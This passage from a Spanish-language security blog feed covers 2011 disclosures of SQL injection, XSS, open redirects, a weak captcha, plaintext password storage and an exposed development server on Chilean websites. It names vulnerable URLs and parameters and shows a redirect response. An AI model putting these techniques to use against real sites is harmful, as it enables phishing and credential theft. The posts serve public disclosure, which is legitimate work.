<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/sql2.png"><img class="aligncenter size-full wp-image-2395" title="sql2" src="http://blog.zerial.org/wp-content/uploads/2011/07/sql2.png" alt="" width="587" height="68" /></a></p>
<p>Con este simple sql injection ya tenemos información relevante. Usuario &#8220;diplomado&#8221; y version 4.1.22 del mysql.</p>
<h3>2. Cross-Site Scripting</h3>
<p>Cuando logramos que la aplicación muestre un error de sintaxis, podemos ver que nos muestra literalmente la consulta incluyendo lo que nosotros agregamos, por ejemplo si agregamos &#8220;&#8216; esta es una prueba&#8221; veremos lo siguiente:</p>
<blockquote><p>Query failed: You have an error in your SQL syntax; check the manual  that corresponds to your MySQL server version for the right syntax to  use near &#8216;<strong>esta es una prueba%&#8217;</strong>&#8216; at line 1Executed query: select   apellidos, nombres, fecha , id from users where apellidos like &#8221; esta  es una prueba%&#8217;</p></blockquote>
<p>Por lo tanto, si en lugar de &#8220;esta es una prueba&#8221; ingresamos un codigo javascript, será ejecutado:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/xss1.png"><img src="http://blog.zerial.org/wp-content/uploads/2011/07/xss1.png" alt="" title="xss1" width="681" height="404" class="aligncenter size-full wp-image-2400" /></a></p>
<p>Es increible como las organizaciones que &#8220;luchan&#8221; por la seguridad son inseguras. Errores tan basicos, tan simples &#8230; Uno se pregunta si realmente la gente que entra en sus cursos salen capacitadas y hasta que punto son capaces de encargarse de la seguridad informática de una empresa o institución.</p>
<p>La vulnerabilidad fue reportada el 6 de Julio y solucionada el dia 7 de Julio. </p>
<p><strong>Links</strong></p>
<p><a href="http://www.secureless.org/vulnerability/1808">Reporte XSS en Secureless</a><br />
<a href="http://www.secureless.org/vulnerability/1807">Reporte SQL-Injection en Secureless</a></p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fvulnerabilidad-sql-injection-cross-site-scripting-en-sitio-web-del-clcert%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/vulnerabilidad-sql-injection-cross-site-scripting-en-sitio-web-del-clcert/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/vulnerabilidad-sql-injection-cross-site-scripting-en-sitio-web-del-clcert/"  data-text="Vulnerabilidad SQL Injection + Cross-Site Scripting en sitio web del CLCERT" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/vulnerabilidad-sql-injection-cross-site-scripting-en-sitio-web-del-clcert/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>&#8220;Alto Estándar de Seguridad&#8221; del PortalInmobiliario.com: Guardar las passwords sin cifrar</title>
		<link>http://blog.zerial.org/seguridad/alto-estandar-de-seguridad-del-portalinmobiliario-com-guardar-las-passwords-sin-cifrar/</link>
		<comments>http://blog.zerial.org/seguridad/alto-estandar-de-seguridad-del-portalinmobiliario-com-guardar-las-passwords-sin-cifrar/#comments</comments>
		<pubDate>Tue, 14 Jun 2011 13:43:24 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Privacidad]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[inseguridad]]></category>
		<category><![CDATA[politicas de seguridad]]></category>
		<category><![CDATA[privacidad]]></category>
		<category><![CDATA[proteccion de datos]]></category>
		<category><![CDATA[sitios chilenos]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2367</guid>
		<description><![CDATA[PortalInmobiliario.com es un sitio web que permite publicar, buscar y cotizar viviendas para arriendo o compra. Según ellos, son El punto de encuentro de la oferta y demanda inmobiliaria en Chile. Como la mayoría de los sitios que tienen login y obligan a sus usuarios a registrarse para adquirir cierto tipo de información, el PortalInmobiliario [...]]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-full wp-image-2368" title="PortalInmobiliario - Passwords sin cifrar" src="http://blog.zerial.org/wp-content/uploads/2011/06/portal_com3.gif" alt="" width="257" height="35" /></p>
<p>PortalInmobiliario.com es un sitio web que permite publicar, buscar y cotizar viviendas para arriendo o compra. Según ellos, son <em>El punto de encuentro de la oferta y demanda inmobiliaria en Chile</em>.</p>
<p>Como la mayoría de los sitios que tienen login y obligan a sus usuarios a registrarse para adquirir cierto tipo de información, el PortalInmobiliario tiene su propia cláusula de términos y condiciones. Ellos le llaman &#8220;<a href="http://www.portalinmobiliario.com/info/Registro_de_usuario.asp">Beneficios y Alcances</a>&#8220;, y en ella podemos ver la sección donde dice &#8220;Reserva y confidencialidad de datos&#8221;:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/06/portalinmo_seguridad21.png"><img class="aligncenter size-full wp-image-2375" title="portalinmo_seguridad2" src="http://blog.zerial.org/wp-content/uploads/2011/06/portalinmo_seguridad21.png" alt="" width="700" height="110" /></a></p>
<p>La parte más importante es donde dice</p>
<blockquote><p>Portalinmobiliario.com ha desarrollado tecnologías e invertido importantes recursos en mantener un<strong> alto estándar de seguridad de las bases de datos de propiedades y usuarios</strong>, pudiendo asegurar la mejor protección para ellos.</p></blockquote>
<p>Especialmente la parte que marqué con negrita.</p>
<p><span id="more-2367"></span></p>
<p>Lamentablemente para su <strong>alto estándar de seguridad</strong> y para los usuarios que creen en ellos, las claves/passwords de usuario se guardan en la base de datos <strong>sin cifrar</strong>, es decir, cualquier persona que acceda a la base de datos podrá conocer las passwords.</p>
<p><strong>¿Cómo saberlo?</strong><br />
No es necesario ser un <em>experto informático</em> ni <em>hacker</em> para darse cuenta, es bastante sencillo.<br />
Hace unos meses me registré en ese sitio y luego de no entrar por mucho tiempo se me olvidó mi contraseña, por lo que me fui a la opción &#8220;Recuperar Contraseña&#8221; y mi sorpresa fue cuando me llegó el correo con la información solicitada: <strong>Me enviaron la password en texto plano!</strong></p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/06/pass_sin_hash.png"><img src="http://blog.zerial.org/wp-content/uploads/2011/06/pass_sin_hash.png" alt="" title="pass_sin_hash" width="493" height="308" class="aligncenter size-full wp-image-2379" /></a></p>
<p>Obviamente, la única conclusión que puedo sacar es que no están cifrando o <em>hasheando</em> la password usando un algoritmo one-way. Hay 2 opciones, o la cifran usando uno que permite descifrado o bien directamente no la están cifrando, cualquiera sea el caso, <strong>no es seguro</strong>.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Falto-estandar-de-seguridad-del-portalinmobiliario-com-guardar-las-passwords-sin-cifrar%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/alto-estandar-de-seguridad-del-portalinmobiliario-com-guardar-las-passwords-sin-cifrar/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/alto-estandar-de-seguridad-del-portalinmobiliario-com-guardar-las-passwords-sin-cifrar/"  data-text="&#8220;Alto Estándar de Seguridad&#8221; del PortalInmobiliario.com: Guardar las passwords sin cifrar" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/alto-estandar-de-seguridad-del-portalinmobiliario-com-guardar-las-passwords-sin-cifrar/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Como NO hacer un captcha: El caso de FeriaMix</title>
		<link>http://blog.zerial.org/seguridad/como-no-hacer-un-captcha-el-caso-de-feriamix/</link>
		<comments>http://blog.zerial.org/seguridad/como-no-hacer-un-captcha-el-caso-de-feriamix/#comments</comments>
		<pubDate>Mon, 30 May 2011 20:03:53 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[captcha]]></category>
		<category><![CDATA[feriamix]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[inseguridad]]></category>
		<category><![CDATA[sitios vulnerables]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2320</guid>
		<description><![CDATA[Hace tiempo publiqué un XSS en FeriaMix, esta vez les mostraré la ineficiencia de un captcha en el mismo sitio. Todos sabemos que el captcha sirve para detectar que realmente es un humano quien está detrás del teclado y no un bot. Captcha es el acrónimo de Completely Automated Public Turing test to tell Computers [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/05/feriapwned.png"><img class="aligncenter size-full wp-image-2325" title="feriapwned" src="http://blog.zerial.org/wp-content/uploads/2011/05/feriapwned.png" alt="" width="369" height="69" /></a></p>
<p>Hace tiempo <a href="http://blog.zerial.org/seguridad/xss-en-el-sitio-web-de-feriaticket-y-feriamix/">publiqué un XSS en FeriaMix</a>, esta vez les mostraré la ineficiencia de un captcha en el mismo sitio. Todos sabemos que el captcha sirve para detectar que realmente es un humano quien está detrás del teclado y no un bot.</p>
<blockquote><p>Captcha es el acrónimo de Completely Automated Public Turing test to  tell Computers and Humans Apart (Prueba de Turing pública y automática  para diferenciar máquinas y humanos).</p></blockquote>
<p>En el sitio &#8220;<a href="http://www.feriamix.cl/cgi-bin/wspd_cgi.sh/WService=wsPFDD/recuperar_contrasena.p">recuperar contraseña</a>&#8221; de FeriaMix pueden ver un captcha que aparentemente es &#8220;normal&#8221;,</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/05/feriamixcaptcha1.png"><img class="aligncenter size-full wp-image-2321" title="feriamixcaptcha1" src="http://blog.zerial.org/wp-content/uploads/2011/05/feriamixcaptcha1.png" alt="" width="291" height="346" /></a></p>
<p><span id="more-2320"></span></p>
<p>pero fijense en un detalle, cuando escriben mal la palabra que aparece en el captcha y le dan al boton &#8220;continuar&#8221;, salta automaticamente una alerta en javascript diciendo que el captcha no es valido.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/05/feriamixcaptcha2.png"><img class="aligncenter size-full wp-image-2322" title="feriamixcaptcha2" src="http://blog.zerial.org/wp-content/uploads/2011/05/feriamixcaptcha2.png" alt="" width="498" height="459" /></a></p>
<p>Con esto podemos deducir que se hace la validación del captcha antes de que se envie la información al servidor, por lo tanto, es posible vulnerarlo. Si revisamos el codigo javascript encontramos &#8220;jcap.js&#8221; el cual contiene una validacion demasiado basica e insegura.</p>
<p>Sorpresa! La imagen del captcha que ustedes ven no es autogenerada, sino una imagen con una palabra estatica!</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/05/feriamixcaptcha3.png"><img class="aligncenter size-full wp-image-2323" title="feriamixcaptcha3" src="http://blog.zerial.org/wp-content/uploads/2011/05/feriamixcaptcha3.png" alt="" width="346" height="154" /></a></p>
<p>La imagen &#8220;71.jpg&#8221; tiene la palabra &#8220;mine&#8221;, la 72 tiene otra palabra y asi hasta la 191.jpg. Si van al directorio de &#8220;<a href="http://www.feriamix.cl/jcap/cimg/">/jcap/cimg/</a>&#8221; podran ver un listado de todas las imagenes del captcha.</p>
<p>De esta forma es tan facil como hacer un bot que se conecte, obtenga el nombre de la imagen y segun el &#8220;numero&#8221; de imagen, escriba una palabra predeterminada.</p>
<p>Se puede llamar CAPTCHA a esto?</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fcomo-no-hacer-un-captcha-el-caso-de-feriamix%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/como-no-hacer-un-captcha-el-caso-de-feriamix/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/como-no-hacer-un-captcha-el-caso-de-feriamix/"  data-text="Como NO hacer un captcha: El caso de FeriaMix" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/como-no-hacer-un-captcha-el-caso-de-feriamix/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>Sony Chile tambien es vulnerable: XSS y URI Redirection</title>
		<link>http://blog.zerial.org/seguridad/sony-chile-tambien-es-vulnerable-xss-y-uri-redirection/</link>
		<comments>http://blog.zerial.org/seguridad/sony-chile-tambien-es-vulnerable-xss-y-uri-redirection/#comments</comments>
		<pubDate>Fri, 27 May 2011 16:43:47 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[arbitrary url redirection]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[inseguridad]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[sony]]></category>
		<category><![CDATA[url redirection]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2310</guid>
		<description><![CDATA[Ultimamente se han registrado varios ataques a sitios de Sony en distintos paises y Chile no se queda atrás. Detectamos dos vulnerabilidades en el sitio web de Sony Chile correspondientes a Cross-Site Scripting y Arbitrary URL Redirection, las cuales pueden ser explotadas por un atacante para robar credenciales y datos personales de los usuarios y [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-2312" style="margin: 2px;" title="sonylogo" src="http://blog.zerial.org/wp-content/uploads/2011/05/sonylogo.gif" alt="" width="102" height="36" />Ultimamente se han registrado varios ataques a sitios de Sony en distintos paises y Chile no se queda atrás. Detectamos dos vulnerabilidades en el sitio web de <a href="http://www.sony.cl">Sony Chile</a> correspondientes a <em>Cross-Site Scripting</em> y <em>Arbitrary URL Redirection</em>, las cuales pueden ser explotadas por un atacante para robar credenciales y datos personales de los usuarios y clientes, tambien es posible abusar de la confianza que tiene el usuario en el sitio para intentar instalar algun software malicioso o ejecucion de codigo malicioso.</p>
<p>La vulnerabilidad XSS se encuentra en el buscador y se debe a que no filtran ni <em>parsean</em> los parametros de entrada pasados por GET o por POST al script de busqueda. La URL vulnerable corresponde a <strong>http://www.sony.cl/corporate/CL/resultadosbusqueda.html</strong>.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/05/xss.png"><img class="aligncenter size-full wp-image-2311" title="xss" src="http://blog.zerial.org/wp-content/uploads/2011/05/xss.png" alt="" width="454" height="387" /></a></p>
<p>La segunda vulnerabilidad nos permite redireccionar, mediante el header Location, a los visitantes a un sitio externo. El script o URL vulnerable es <strong>http://www.sony.cl/corporate/CL/doCustomerAuthentication</strong>, al pasarle mediante la variable REQ_PARAM_ACTUAL_PAGE <strong>cualquier</strong> URL, el usuario será redireccionado. Al pasar por ejemplo el parametro &#8220;REQ_PARAM_ACTUAL_PAGE=http://url.arbitraria&#8221; el servidor responde:</p>
<blockquote><p>HTTP/1.1 302 Moved Temporarily<br />
Date: Fri, 27 May 2011 16:27:54 GMT<br />
Server: Apache/2.2.11 (Unix) mod_jk/1.2.28 mod_ssl/2.2.11 OpenSSL/0.9.8k<br />
X-Magnolia-Registration: Registered<br />
Set-Cookie: JSESSIONID=BB3A23D11426B3254043627FD4FE768C.magnolia3; Path=/corporate<br />
<strong>Location: http://url.arbitraria</strong><br />
Content-Length: 0<br />
Content-Type: text/html;charset=UTF-8</p></blockquote>
<p>Modificando la cabecera &#8220;Location&#8221; por la URL que nosotros indicamos.</p>
<p>Con una correcta verificación de errores y chequeo de seguridad es posible evitar lo que le ha pasado a Sony en distintos paises. Un poco de respeto por sus clientes <img src='http://blog.zerial.org/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p><span id="more-2310"></span></p>
<p>He intentado reportar la vulnerabilidad usando el formulario de contacto, lamentablemente esta es la respuesta al presionar el submit:</p>
<p><img class="aligncenter size-full wp-image-2316" title="forbid" src="http://blog.zerial.org/wp-content/uploads/2011/05/forbid.png" alt="" width="413" height="228" /></p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fsony-chile-tambien-es-vulnerable-xss-y-uri-redirection%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/sony-chile-tambien-es-vulnerable-xss-y-uri-redirection/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/sony-chile-tambien-es-vulnerable-xss-y-uri-redirection/"  data-text="Sony Chile tambien es vulnerable: XSS y URI Redirection" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/sony-chile-tambien-es-vulnerable-xss-y-uri-redirection/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>El Phishing y el Banco BBVA Chile</title>
		<link>http://blog.zerial.org/seguridad/el-phishing-y-el-banco-bbva-chile/</link>
		<comments>http://blog.zerial.org/seguridad/el-phishing-y-el-banco-bbva-chile/#comments</comments>
		<pubDate>Thu, 26 May 2011 00:58:24 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Privacidad]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[bancos]]></category>
		<category><![CDATA[bbva]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[inseguridad]]></category>
		<category><![CDATA[phishing]]></category>
		<category><![CDATA[secureless]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2300</guid>
		<description><![CDATA[El banco BBVA Chile no se queda atras en sus vulnerabilidades y buscando donde poder reportarlas no he encontrado nada, solo teléfonos donde piden demasiada información personal. No hay ningun formulario ni correo electrónico, por lo que nuevamente se acude a la tecnica de la publicación. Al igual que lo comentado en el post de [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/05/BBVA-logo.jpg"><img class="aligncenter size-full wp-image-2301" title="BBVA-logo" src="http://blog.zerial.org/wp-content/uploads/2011/05/BBVA-logo.jpg" alt="" width="344" height="167" /></a></p>
<p>El banco BBVA Chile no se queda atras en sus vulnerabilidades y buscando donde poder reportarlas no he encontrado nada, solo teléfonos donde piden demasiada información personal. No hay ningun formulario ni correo electrónico, por lo que nuevamente se acude a la tecnica de la publicación.</p>
<p>Al igual que lo comentado en el post de <a href="http://blog.zerial.org/seguridad/el-phishing-y-el-banco-santander-chile/">El Phishing y el Banco Santander Chile</a>, la idea es dar a conocer como los bancos se lavan las manos con sus campañas anti phishing y anti fraudes, pero no son capaces de ofrecer una plataforma lo suficientemente robusta. Nuevamente este tipo de vulnerabilidades afectan a los usuarios y no al banco directamente, permitiendo el robo de credenciales e información personal, suplantación de identidad, etc.</p>
<p>La vulnerabilidad Cross-Site Scripting detectada se encuentra en la página principal del banco http://www.bbva.cl y corresponde al buscador.  El tipoco error de no <em>parsear</em> los parametros de entrada que se pasan por el forumlario o por URL (GET/POST).</p>
<p>La vulnerabilidad no ha sido reportada al banco ya que no se ha encontrado ningun método de contacto, pero se ha publicado en <a href="http://secureless.org">Secureless</a> junto <a href="http://www.secureless.org/search/?keywords=BBVA&amp;sid=0">al mismo tipo de vulnerabilidad correspondiente al BBVA de Colombia</a>.</p>
<p><span id="more-2300"></span></p>
<p>El script vulnerable corresponde a <strong>http://www.bbva.cl/tlch/jsp/ch/esp/meta/buscador/buscar.jsp</strong> que pasandole los parametros necesarios es posible ejecutar código javascript o html mediante la variable <strong>q</strong>.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/05/xss_poc.png"><img class="aligncenter size-full wp-image-2303" title="xss_poc" src="http://blog.zerial.org/wp-content/uploads/2011/05/xss_poc.png" alt="" width="518" height="280" /></a></p>
<p>Las <a href="http://www.bbva.cl/tlch/jsp/ch/esp/meta/minf/seg.jsp">politicas de seguridad</a> del banco dicen textualmente:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/05/politicas.png"><img class="aligncenter size-full wp-image-2305" title="politicas" src="http://blog.zerial.org/wp-content/uploads/2011/05/politicas.png" alt="" width="541" height="360" /></a></p>
<p>Permitiendo este tipo de ataques (xss) el banco no está cumpliendo, ya que un atacante puede suplantar la identidad del sitio y abusar de la confianza que tiene el usuario/cliente en el sitio web del BBVA, pudiendo interceptar el tráfico, generar formularios falsos, redireccionar al usuario a sitios malignos, etc.</p>
<p>Nuevamente, este es un llamado para que <strong>los bancos se hagan cargo de este tipo de cosas!</strong></p>
<p><strong>Editado: (13 de Junio del 2011)</strong> La vulnerabilidad se encuentra corregida. El banco no respondio ningun email y tampoco dio ningun tipo de comunicado o mensaje al respecto.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fel-phishing-y-el-banco-bbva-chile%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/el-phishing-y-el-banco-bbva-chile/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/el-phishing-y-el-banco-bbva-chile/"  data-text="El Phishing y el Banco BBVA Chile" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/el-phishing-y-el-banco-bbva-chile/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Información sensible en el source html de Movistar Cloud</title>
		<link>http://blog.zerial.org/seguridad/informacion-sensible-en-el-source-html-de-movistar-cloud/</link>
		<comments>http://blog.zerial.org/seguridad/informacion-sensible-en-el-source-html-de-movistar-cloud/#comments</comments>
		<pubDate>Thu, 19 May 2011 13:57:28 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[inseguridad]]></category>
		<category><![CDATA[movistar]]></category>
		<category><![CDATA[movistar cloud]]></category>
		<category><![CDATA[nube]]></category>
		<category><![CDATA[sitios vulnerables]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2273</guid>
		<description><![CDATA[Movistar Cloud es un servicio de &#8220;disco virtual&#8221;, que permite a sus usuarios almacenar información &#8220;en la nube&#8221; para poder acceder a ellos desde cualquier lugar, algo asi como Dropbox. Si accedemos al sitio y vemos el codigo fuente, podemos ver que hay un tag que está comentado, corresponde a un link hacia la URL [...]]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-full wp-image-2274" title="Movistar-Cloud-Computing-logo" src="http://blog.zerial.org/wp-content/uploads/2011/05/Movistar-Cloud-Computing-logo.jpg" alt="" width="335" height="179" /><br />
<a href="http://www.mcloud.cl">Movistar Cloud</a> es un servicio de &#8220;disco virtual&#8221;, que permite a sus usuarios almacenar información &#8220;en la nube&#8221; para poder acceder a ellos desde cualquier lugar, algo asi como Dropbox.</p>
<p>Si accedemos al sitio y vemos el codigo fuente, podemos ver que hay un tag que está comentado, corresponde a un link hacia la URL de desarrollo de este sistema</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/05/src_isc_mcloud.png"><img class="aligncenter size-full wp-image-2276" title="src_isc_mcloud" src="http://blog.zerial.org/wp-content/uploads/2011/05/src_isc_mcloud.png" alt="" width="717" height="120" /></a></p>
<p>Claramente corresponde a una url de desarrollo, donde tambien podemos ver que poniendo &#8220;~usuario&#8221; tambien podriamos acceder a otros desarrollos. Si navegamos hacia esa URL nos damos cuenta que el servidor se encuentra totalmente desprotegido y es posible acceder información sensible, podemos acceder a versiones anteriores y veresiones de prueba de este sistema.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/05/isc_dlisting1.png"><img class="aligncenter size-full wp-image-2277" title="isc_dlisting1" src="http://blog.zerial.org/wp-content/uploads/2011/05/isc_dlisting1.png" alt="" width="505" height="658" /></a></p>
<p>No solo encontramos versiones de prueba y antiguas de Movistar Cloud, sino que tambien desarrollos de otros sistemas que hace esa empresa.</p>
<p>Movistar, siendo una empresa tan grande y ofreciendo servicios &#8220;<em>en la nube</em>&#8220;, donde los usuarios confian la seguridad sus archivos, no debería permitirse este tipo de cosas.</p>
<p><strong>EDITADO</strong>: Un par de horas despues de haber publicado este post, se han contactado conmigo para informarme que el bug ha sido corregido y que el acceso al servidor de desarrollo ya se encuentra limitado.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Finformacion-sensible-en-el-source-html-de-movistar-cloud%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/informacion-sensible-en-el-source-html-de-movistar-cloud/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/informacion-sensible-en-el-source-html-de-movistar-cloud/"  data-text="Información sensible en el source html de Movistar Cloud" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/informacion-sensible-en-el-source-html-de-movistar-cloud/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Arbitrary URL Redirection y XSS en sitio web del S.I.I</title>
		<link>http://blog.zerial.org/seguridad/arbitratry-url-redirection-y-xss-en-sitio-web-del-s-i-i/</link>
		<comments>http://blog.zerial.org/seguridad/arbitratry-url-redirection-y-xss-en-sitio-web-del-s-i-i/#comments</comments>
		<pubDate>Tue, 10 May 2011 14:46:20 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
